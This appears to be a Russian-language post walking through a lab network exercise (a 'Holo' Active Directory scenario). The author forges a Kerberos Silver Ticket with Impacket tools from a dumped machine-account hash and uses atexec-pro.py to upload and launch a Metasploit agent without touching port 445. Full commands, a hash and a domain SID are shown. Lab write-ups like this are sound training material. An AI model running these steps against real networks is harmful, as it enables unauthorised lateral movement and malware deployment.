10.7Kпросмотров
10 марта 2025 г.
📷 ФотоScore: 11.8K
💻Remote NTLM Relay preparation: Lateral Movement without NTLM and 445/TCP💻
В ходе решения одной из сетей на известной платформе может сложиться ситуация, с которой столкнулся я.
Имея привилегированный доступ к серверу, который впоследствии будет использоваться для Remote NTLM Relay, я без задней мысли отключил службы NetLogon, LanManServer и LanManWorkstation и перезагрузил машину, забыв закрепиться на ней встроенными средствами фрэймворка постэксплуатации.
Сделал я это следующим образом:
sc stop netlogon
sc stop lanmanserver
sc config lanmanserver start= disabled
sc stop lanmanworkstation
sc config lanmanworkstation start= disabled
После перезагрузки хоста я удостоверился, что порт 445 не прослушивается сервером (nmap -p 445 -sT -Pn <serverIP>), после чего решил продолжить атаку, но столкнулся с очевидной проблемой: я не могу пройти аутентификацию на сервере и, следовательно, запустить бинарный файл, необходимый для организации портфорвардинга. Имеем 2 проблемы:
1) Не работают службы NetLogon, LanManServer и LanManWorkstation, из-за чего не получится пройти аутентификацию на целевом сервере при помощи NTLM;
2) Не работает SMB-порт, необходимый для работы большинства утилит из набора Impacket. Что же делать?
Решение довольно очевидное. Вместо NTLM можно использовать Kerberos, так как мы находимся в доменной инфраструктуре. Не зря же после получения системного доступа к атакуемому серверу мы дампили его LSA-секреты? А вместо стандартных скриптов из набора Impacket можно использовать их "pro вариации", которые не требуют доступа к 445 порту целевого сервера. Начнем атаку!
Шаг 1. Silver Ticket🎫
Первый шаг показан в демонстративных целях, чтобы видеть хэш пароля учетной записи атакуемого сервера. Напомню, что его мы получили ранее путем дампа LSA-секретов на самом сервере.
proxychains impacket-secretsdump holo.live/Administrator@10.201.126.30 -hashes :<redacted> -just-dc-user 'PC-FILESRV01$' ...
PC-FILESRV01$:1120:aad3b435b51404eeaad3b435b51404ee:e66f5cf1a026516d1d2220130d8d13c4 Для осуществления атаки нам необходим SID домена, который мы получим с использованием скрипта impacket-lookupsid из набора Impacket (в данном случае используем технику Pass-the-Hash в отношении контроллера домена):
proxychains impacket-lookupsid HOLO.LIVE/'PC-FILESRV01$'@10.201.126.30 -hashes :e66f5cf1a026516d1d2220130d8d13c4 Получаем SID домена: S-1-5-21-471847105-3603022926-1728018720 После получения SID начинаем крафтить Silver Ticket, чтобы получить привилегированный доступ к целевому серверу. Путь до полученного тикета записываем в переменную окружения KRB5CCNAME:
proxychains impacket-ticketer -nthash e66f5cf1a026516d1d2220130d8d13c4 -domain-sid S-1-5-21-471847105-3603022926-1728018720 -dc-ip 10.201.126.30 -domain holo.live -spn HOST/PC-FILESRV01.holo.live 'watamet' export KRB5CCNAME=watamet.ccache Шаг 2. ATExec Pro🤩
После этого уже при помощи известного нам atexec-pro.py и полученного билета получаем доступ к целевому серверу и запускаем наш C2-агент (для примера здесь используется MSF): proxychains python3 atexec-pro.py PC-FILESRV01.holo.live -k -no-pass -dc-ip 10.201.126.30 Внутри шелла:
ATShell (@PC-FILESRV01.holo.live)> upload /root/THM/Holo/binaries/msf_win_x64.exe C:\Windows\Tasks\msf.exe
ATShell (@PC-FILESRV01.holo.live)> C:\Windows\Tasks\msf.exe Поэтапно те же действия можно видеть на приложенных скриншотах.
1) Получение SID домена при помощи impacket-lookupsid;
2) Создание Silvet Ticket при помощи impacket-ticketer для привилегированного доступа к целевому хосту;
3) Получение доступа к целевому хосту при помощи atexec-pro.py с использованием ранее полученного билета (обращаю внимание на лог ProxyChains, где отсутствует коннект до 445 порта).